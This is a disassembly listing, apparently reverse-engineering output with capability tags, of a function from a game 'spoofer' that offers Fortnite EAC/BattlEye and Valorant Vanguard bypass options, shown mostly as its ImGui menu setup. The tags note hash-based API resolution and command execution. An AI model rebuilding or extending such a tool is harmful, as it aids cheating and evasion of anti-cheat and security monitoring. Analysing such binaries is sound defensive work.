Function at 0x14005aba0
Capabilities:
Access peb ldr_data
Check if file exists
Create directory
Create process on windows
Create thread
Delete file
Encode data using xor
Execute command
Get file attributes
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x758]
sub rsp, 0x858
lea rcx, [0x14039a660]
call fcn.1400de1b0
mov ecx, 8
call fcn.140134584
lea rcx, [0x140058c20]
xor r15d, r15d
mov r9, rax
lea r8, [0x140041360]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14005ff39
mov qword [rsp + 0x850], r12
cmp dword [rbp + 0x48], r15d
je 0x14005ff2d
movaps xmm0, xmmword [rbp + 0x40]
lea rcx, [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005ff2d
xorps xmm0, xmm0
mov ecx, 8
movdqa xmmword [rbp + 0x40], xmm0
call fcn.140134584
lea rcx, [0x1400410d0]
mov r9, rax
lea r8, [0x140041360]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14005ff1d
cmp dword [rbp + 0x48], r15d
je 0x14005ff11
movaps xmm0, xmmword [rbp + 0x40]
lea rcx, [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005ff11
mov qword [rsp + 0x870], rbx
lea rax, [0x14005ff50]
mov qword [rsp + 0x878], rsi
xorps xmm0, xmm0
mov qword [rsp + 0x880], rdi
mov edx, 0x7f00
mov qword [rsp + 0x840], r14
xor ecx, ecx
movaps xmmword [rsp + 0x7c0], xmm13
movdqa xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x310], 0x50
mov dword [rbp + 0x314], 0x40
mov qword [rbp + 0x318], rax
mov qword [rbp + 0x320], r15
mov qword [rbp + 0x328], r15
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x330], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
lea r14, str.ImRaze_Design_fixed
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x338], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x350], r14
xor ecx, ecx
mov qword [rbp + 0x348], rax
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rbp + 0x310]
mov qword [rbp + 0x358], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x140398ce4]
mov r12d, 1
mov ecx, r12d
cvttss2si esi, dword [0x140398ce0]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140398ce4]
xor ecx, ecx
movss xmm13, dword [0x140177b44]
cdq
sub eax, edx
mulss xmm0, xmm13
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140398ce0]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r15
cdq
mov qword [rsp + 0x50], r15
sub eax, edx
mov rdx, qword [rbp + 0x350]
mov r8, r14
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm13
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x14039a000], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov rcx, qword [0x14039a000]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov rcx, qword [0x14039a000]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140177cc0]
lea rdx, [rbp + 0x408]
mov rcx, qword [0x14039a000]
movdqu xmmword [rbp + 0x408], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14039a000]
lea rdx, [0x14039a028]
xorps xmm0, xmm0
movups xmmword [0x14039a028], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x14039a000]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x14039a990], rax
mov rcx, rax
test rax, rax
je 0x14005fec0
lea rdx, [0x14039a998]
mov qword [0x14039a9a0], r15
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x14039a9a0]
mov qword [0x14039a9ac], r15
mov qword [rsp + 0x28], rdx
mov r8d, r12d
mov dword [0x14039a9b4], r15d
xor edx, edx
mov qword [0x14039a9bc], r15
mov dword [0x14039a9c4], r15d
mov qword [0x14039a9d4], r15
mov dword [0x14039a9c8], r12d
mov dword [0x14039a9b8], r12d
mov dword [0x14039a9a8], r15d
mov dword [0x14039a9cc], r12d
mov dword [0x14039a9d0], 0x50
mov dword [0x14039a9dc], r12d
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x14005feb9
mov rcx, qword [0x14039a000]
mov edx, 0xa
mov qword [rsp + 0x848], r13
movaps xmmword [rsp + 0x830], xmm6
movaps xmmword [rsp + 0x820], xmm7
movaps xmmword [rsp + 0x810], xmm8
movaps xmmword [rsp + 0x800], xmm9
movaps xmmword [rsp + 0x7f0], xmm10
movaps xmmword [rsp + 0x7e0], xmm11
movaps xmmword [rsp + 0x7d0], xmm12
movaps xmmword [rsp + 0x7b0], xmm14
movaps xmmword [rsp + 0x7a0], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14039a000]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdx, qword [0x140399f90]
mov ecx, 0x61c8
mov rdi, qword [0x140399fa0]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, qword [0x140399fa0]
mov r9, rax
test r8, r8
je 0x14005b057
movsx rax, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r10d, dword [r8 + 0x3f90]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x14005b04c
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], r15d
inc word [rdx + 4]
inc dword [r8 + 0x6070]
test r9, r9
je 0x14005b068
xor edx, edx
mov rcx, r9
call fcn.140003450
jmp 0x14005b06b
mov rax, r15
mov qword [0x140399fa0], rax
call fcn.140007ea0
test rdi, rdi
je 0x14005b085
mov qword [0x140399fa0], rdi
jmp 0x14005b08c
mov rdi, qword [0x140399fa0]
test rdi, rdi
jne 0x14005b0b2
mov r8d, 0x10d9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x140399fa0]
or dword [rdi + 8], 3
xor ecx, ecx
call fcn.1400231d0
mov rcx, qword [0x14039a000]
call fcn.14003eba0
mov rbx, qword [0x140399fa0]
mov rsi, qword [0x14039a998]
test rbx, rbx
jne 0x14005b0fd
mov r8d, 0x10d9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140399fa0]
cmp qword [rbx + 0x98], r15
je 0x14005b120
mov r8d, 0x11f
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_dx9.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [0x140399f90]
mov ecx, Ordinal_41
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r9, qword [0x140399fa0]
mov r8, rax
test r9, r9
je 0x14005b1a0
movsx rdx, word [r9 + 0x6078]
lea rax, [r9 + 0x607c]
mov r10d, dword [r9 + 0x3f90]
lea rax, [rax + rdx*8]
cmp dword [rax], r10d
je 0x14005b195
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r9 + 0x6078], cx
movsx rax, cx
lea rax, [rax*8 + 0x607c]
add rax, r9
mov dword [rax], r10d
mov dword [rax + 4], r15d
inc word [rax + 4]
inc dword [r9 + 0x6070]
test r8, r8
je 0x14005b1c6
mov qword [r8], r15
mov qword [r8 + 8], r15
mov qword [r8 + 0x10], r15
mov qword [r8 + 0x18], r15
mov dword [r8 + 0x20], 0x1388
mov dword [r8 + 0x24], 0x2710
jmp 0x14005b1c9
mov r8, r15
or dword [rbx + 0xc], 8
lea rax, str.imgui_impl_dx9
mov qword [rbx + 0x88], rax
mov rcx, rsi
mov qword [rbx + 0x98], r8
mov qword [r8], rsi
mov rax, qword [rsi]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rdi + 0x38]
xorps xmm6, xmm6
movups xmmword [rbp + 0x3b0], xmm6
mov eax, 0xffff
mov dword [rbp + 0x3b0], 0x3f800000
movups xmmword [rbp + 0x370], xmm6
mov dword [rbp + 0x378], 2
movups xmmword [rbp + 0x3a0], xmm6
mov dword [rbp + 0x37c], r12d
movups xmmword [rbp + 0x360], xmm6
mov byte [rbp + 0x36c], r12b
mov dword [rbp + 0x3a4], 0x7f7fffff
mov dword [rbp + 0x3b4], 0x3f800000
mov word [rbp + 0x3b8], ax
mov dword [rbp + 0x3ac], 0x30c
cmp byte [rbx + 0x18], r15b
je 0x14005b27d
mov r8d, 0xbc7
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm8, xmmword [rbp + 0x360]
movaps xmm9, xmmword [rbp + 0x370]
movq r15, xmm8
movaps xmm10, xmmword [rbp + 0x3a0]
movaps xmm11, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x460], xmm8
movaps xmmword [rbp + 0x470], xmm9
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm6
movaps xmmword [rbp + 0x4a0], xmm10
movaps xmmword [rbp + 0x4b0], xmm11
movaps xmmword [rbp + 0x4c0], xmm6
movaps xmmword [rbp + 0x4d0], xmm6
movaps xmmword [rbp + 0x4e0], xmm6
test r15, r15
je 0x14005b304
mov r8d, 0xbc9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rsi, [0x140260250]
mov dword [rbp + 0x468], 0x133ec
lea r13, [0x14016ffb0]
mov qword [rbp + 0x460], rsi
lea rdx, [rbp + 0x460]
mov qword [rbp + 0x498], r13
mov rcx, rbx
mov dword [rbp + 0x474], 0x41600000
call fcn.140028f80
mov rbx, qword [rdi + 0x38]
cmp byte [rbx + 0x18], 0
je 0x14005b367
mov r8d, 0xbc7
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x460], xmm8
movaps xmmword [rbp + 0x470], xmm9
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm6
movaps xmmword [rbp + 0x4a0], xmm10
movaps xmmword [rbp + 0x4b0], xmm11
movaps xmmword [rbp + 0x4c0], xmm6
movaps xmmword [rbp + 0x4d0], xmm6
movaps xmmword [rbp + 0x4e0], xmm6
test r15, r15
je 0x14005b3c9
mov r8d, 0xbc9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14031f5e0]
mov dword [rbp + 0x468], 0x1329c
lea rdx, [rbp + 0x460]
mov qword [rbp + 0x460], rax
mov rcx, rbx
mov dword [rbp + 0x474], 0x41600000
mov qword [rbp + 0x498], r13
call fcn.140028f80
mov rbx, qword [rdi + 0x38]
mov qword [0x14039aa00], rax
cmp byte [rbx + 0x18], 0
je 0x14005b42c
mov r8d, 0xbc7
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x460], xmm8
movaps xmmword [rbp + 0x470], xmm9
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm6
movaps xmmword [rbp + 0x4a0], xmm10
movaps xmmword [rbp + 0x4b0], xmm11
movaps xmmword [rbp + 0x4c0], xmm6
movaps xmmword [rbp + 0x4d0], xmm6
movaps xmmword [rbp + 0x4e0], xmm6
test r15, r15
je 0x14005b48e
mov r8d, 0xbc9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp + 0x460]
mov qword [rbp + 0x460], rsi
mov rcx, rbx
mov dword [rbp + 0x468], 0x133ec
mov dword [rbp + 0x474], 0x41500000
mov qword [rbp + 0x498], r13
call fcn.140028f80
mov qword [0x14039a9e8], rax
lea rsi, [0x14039ad60]
mov ebx, reloc.WS2_32.dll_ntohl
lea r12, [0x140398380]
xorps xmm12, xmm12
nop dword [rax]
mov r14, qword [rdi + 0x38]
movd xmm7, ebx
cvtdq2ps xmm7, xmm7
cmp byte [r14 + 0x18], 0
je 0x14005b50c
mov r8d, 0xbc7
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x460], xmm8
movaps xmmword [rbp + 0x470], xmm9
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm6
movaps xmmword [rbp + 0x4a0], xmm10
movaps xmmword [rbp + 0x4b0], xmm11
movaps xmmword [rbp + 0x4c0], xmm6
movaps xmmword [rbp + 0x4d0], xmm6
movaps xmmword [rbp + 0x4e0], xmm6
test r15, r15
je 0x14005b56e
mov r8d, 0xbc9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
comiss xmm7, xmm12
mov qword [rbp + 0x460], r12
mov dword [rbp + 0x468], 0x8d0
jbe 0x14005b58d
movss dword [rbp + 0x474], xmm7
lea rdx, [rbp + 0x460]
mov qword [rbp + 0x498], r13
mov rcx, r14
call fcn.140028f80
mov qword [rsi], rax
inc ebx
add rsi, 8
cmp ebx, 0x28
jle 0x14005b4e0
cmp qword [0x14039a018], 0
mov r12d, 1
jne 0x14005b630
mov rcx, qword [0x14039a998]
lea rax, [0x14039a018]
mov qword [rsp + 0x70], rax
lea rdx, [0x1402db490]
xor esi, esi
mov r9d, 0x780
mov qword [rsp + 0x68], rsi
mov r8d, 0x3b9bc
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x438
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
jmp 0x14005b632
xor esi, esi
cmp qword [0x14039a020], 0
jne 0x14005b6a3
mov rcx, qword [0x14039a998]
lea rax, [0x14039a020]
mov qword [rsp + 0x70], rax
lea rdx, [0x1403980c0]
mov qword [rsp + 0x68], rsi
mov r9d, Ordinal_46
mov qword [rsp + 0x60], rsi
mov r8d, 0x294
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x14039a008], 0
jne 0x14005b714
mov rcx, qword [0x14039a998]
lea rax, [0x14039a008]
mov qword [rsp + 0x70], rax
lea rdx, [0x14021e100]
mov qword [rsp + 0x68], rsi
mov r9d, Ordinal_46
mov qword [rsp + 0x60], rsi
mov r8d, 0x4f83
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x14039a010], 0
jne 0x14005b785
mov rcx, qword [0x14039a998]
lea rax, [0x14039a010]
mov qword [rsp + 0x70], rax
lea rdx, [0x140223090]
mov qword [rsp + 0x68], rsi
mov r9d, Ordinal_46
mov qword [rsp + 0x60], rsi
mov r8d, 0x410e
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
movss xmm11, dword [0x140177c94]
xor r15b, r15b
movss xmm14, dword [0x140177c0c]
mov r13, 0xffffffffffffffff
movss xmm8, dword [0x140177b74]
movss xmm7, dword [0x140177bbc]
movss xmm15, dword [0x140177bf4]
movss xmm9, dword [0x140177bb4]
movss xmm6, dword [0x140177b7c]
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, [rbp + 0x670]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14005b840
nop
lea rcx, [rbp + 0x670]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x670]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0x678], 0x12
lea rcx, [rbp + 0x670]
movzx r15d, r15b
cmove r15d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14005b7f0
test r15b, r15b
jne 0x14005eb7d
mov ecx, dword [0x14039a238]
test ecx, ecx
je 0x14005b8d0
mov eax, dword [0x14039a23c]
test eax, eax
je 0x14005b8d0
mov dword [0x14039a9a0], ecx
mov dword [0x14039a9a4], eax
mov dword [0x14039a23c], esi
mov dword [0x14039a238], esi
call fcn.14003eaf0
mov rcx, qword [0x14039a998]
lea rdx, [0x14039a9a0]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14005b8ad
mov r8d, 0x81d
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedexamplesexample_win32_directx9main.cpp
lea rcx, [0x140164ed0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140399fa0]
test rax, rax
je 0x14005b8ea
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005b8d7
cmp qword [rcx], 0
je 0x14005b8d7
call fcn.14003e880
mov rax, qword [0x140399fa0]
test rax, rax
je 0x14005b8ea
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14005b90e
jmp 0x14005b8ed
mov rbx, rsi
mov r8d, 0x17c
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX9_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140399fa0]
cmp qword [rbx + 0x18], 0
jne 0x14005b931
test rax, rax
je 0x14005b931
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005b931
cmp qword [rcx], 0
je 0x14005b931
call fcn.14003e880
call fcn.14003f9b0
call fcn.14000ac30
mov r14, qword [0x140399fa0]
movss xmm0, dword [0x140398ce0]
movss xmm1, dword [0x140398ce4]
mov qword [r14 + 0x49f8], 0
mov qword [r14 + 0x4a00], 0
mov dword [r14 + 0x49ec], r12d
or dword [r14 + 0x49e8], 3
movss dword [r14 + 0x4a08], xmm0
movss dword [r14 + 0x4a0c], xmm1
mov dword [r14 + 0x49f0], r12d
test r14, r14
jne 0x14005b9b6
mov r8d, 0xbf0
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r14, qword [0x140399fa0]
xor edx, edx
mov qword [r14 + 0x38f8], 0
mov r8d, Ordinal_46
mov qword [r14 + 0x393c], 0
lea rcx, str.IMGUI
mov dword [r14 + 0x3904], esi
mov dword [r14 + 0x3964], 0x40e00000
call fcn.1400109f0
mov rbx, qword [0x140399fa0]
cmp dword [rbx + 0x4af8], 0
mov rax, qword [rbx + 0x4038]
movsd xmm0, qword [rax + 0x28]
movsd qword [rbp + 0x30], xmm0
jg 0x14005ba2d
mov r8d, 0x76a
lea rdx, [0x140164ce0]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.14000a230
movdqa xmm10, xmmword [0x140177f40]
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm10
mov rbx, rax
call fcn.140005e60
movsd xmm0, qword [0x140398ce0]
mov edi, eax
movsd qword [rbp - 0x58], xmm0
mov dword [rbp + 0x1f0], 0x3f800000
mov dword [rbp + 0x1f4], 0x3f800000
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 0
test eax, 0xff000000
je 0x14005bb60
mov rdx, qword [0x14039a018]
cmp rdx, qword [rbx + 0x98]
setne sil
je 0x14005babf
mov rcx, rbx
call fcn.140023d20
mov edx, 6
mov r8d, 4
mov rcx, rbx
call fcn.140023da0
lea rax, [rbp + 0x1f0]
mov dword [rsp + 0x28], edi
lea r9, [rbp + 0x200]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x58]
mov rcx, rbx
lea rdx, [rbp + 0x208]
call fcn.140023ee0
test sil, sil
je 0x14005bb5e
cmp dword [rbx + 0x68], 0
jg 0x14005bb21
mov r8d, 0x780
lea rdx, [0x140164ce0]
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
xor esi, esi
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14005bb44
mov eax, esi
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140023ab0
jmp 0x14005bb60
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140023ab0
jmp 0x14005bb60
xor esi, esi
mov eax, dword [0x14039aa1c]
cmp dword [0x140399fb4], eax
je 0x14005bb72
movaps xmm6, xmm11
cmp qword [0x140399fa0], 0
jne 0x14005bb96
mov r8d, 0x10d9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140399fa0]
movss xmm2, dword [0x140177b7c]
movss xmm0, dword [rax + 0x18]
mulss xmm0, xmm9
mulss xmm0, xmm6
addss xmm0, dword [0x14039aa24]
comiss xmm12, xmm0
jbe 0x14005bbc7
movaps xmm1, xmm12
jmp 0x14005bbce
movaps xmm1, xmm2
minss xmm1, xmm0
ucomiss xmm1, xmm12
movss dword [0x14039aa24], xmm1
jp 0x14005bc3d
jne 0x14005bc3d
movss xmm0, dword [0x14039aba0]
ucomiss xmm0, xmm12
jp 0x14005bc3d
jne 0x14005bc3d
movss xmm0, dword [0x140399fb8]
movss xmm6, dword [0x140177c60]
addss xmm0, xmm2
movss xmm3, dword [0x140177c20]
movaps xmm2, xmm6
movss dword [0x140399fb8], xmm0
call fcn.140057580
movss xmm0, dword [0x140399fb8]
comiss xmm0, xmm6
jbe 0x14005bc3d
mov eax, dword [0x140399fb4]
mov dword [0x14039aa1c], eax
mov dword [0x140399fb8], 0
mov rbx, qword [0x140399fa0]
lea rdx, [rbp + 0x40]
movss xmm6, dword [0x14039aa24]
mulss xmm6, dword [r14 + 0x38f0]
mov dword [rbp + 0x40], esi
movss xmm0, dword [rbx + 0x38f0]
lea rcx, [rbx + 0x4a70]
movss dword [rbp + 0x44], xmm0
call fcn.140021180
mov ecx, dword [0x14039aa1c]
movss dword [rbx + 0x38f0], xmm6
test ecx, ecx
jne 0x14005c799
movss xmm0, dword [0x140398ce0]
lea r8, [rbp + 0x210]
mulss xmm0, xmm13
lea rdx, [rbp + 0x218]
xor r9d, r9d
mov dword [rbp + 0x210], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x214], 0x41200000
movss dword [rbp + 0x218], xmm0
movss xmm0, dword [0x140398ce4]
movss dword [rbp + 0x21c], xmm0
call fcn.14002dc10
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], 0
jne 0x14005bd0a
cmp qword [rcx + 0x4dd8], 0
lea rcx, [rax + 0x260]
je 0x14005bd11
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_EAC_BE_UAC
subss xmm1, dword [rax + 0x28]
cmp dword [0x14039a9fc], 0
lea r8, str.Fortnite
movss xmm6, dword [0x140177c30]
movaps xmm0, xmm14
mov rcx, qword [0x14039a010]
sete dl
unpcklps xmm0, xmm14
subss xmm1, dword [r14 + 0x38f8]
mov dword [rsp + 0x38], esi
movsd qword [rsp + 0x30], xmm0
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002e420
test al, al
je 0x14005bd78
mov edx, esi
mov dword [0x14039a9fc], edx
jmp 0x14005bd7e
mov edx, dword [0x14039a9fc]
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], 0
jne 0x14005bda7
cmp qword [rcx + 0x4dd8], 0
lea rcx, [rax + 0x260]
je 0x14005bdae
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_VAN
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x14039a020]
lea r8, str.Valorant
movaps xmm0, xmm14
mov dword [rsp + 0x38], esi
cmp edx, r12d
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002e420
test al, al
je 0x14005be0a
mov edx, r12d
